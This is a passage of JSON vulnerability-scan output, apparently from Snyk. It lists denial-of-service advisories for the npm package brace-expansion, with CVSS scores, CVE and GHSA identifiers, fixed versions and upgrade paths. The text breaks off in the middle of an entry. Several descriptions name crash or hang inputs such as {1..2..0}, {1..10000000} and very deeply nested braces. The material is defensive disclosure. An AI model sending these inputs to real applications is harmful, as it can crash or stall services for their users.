"publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": 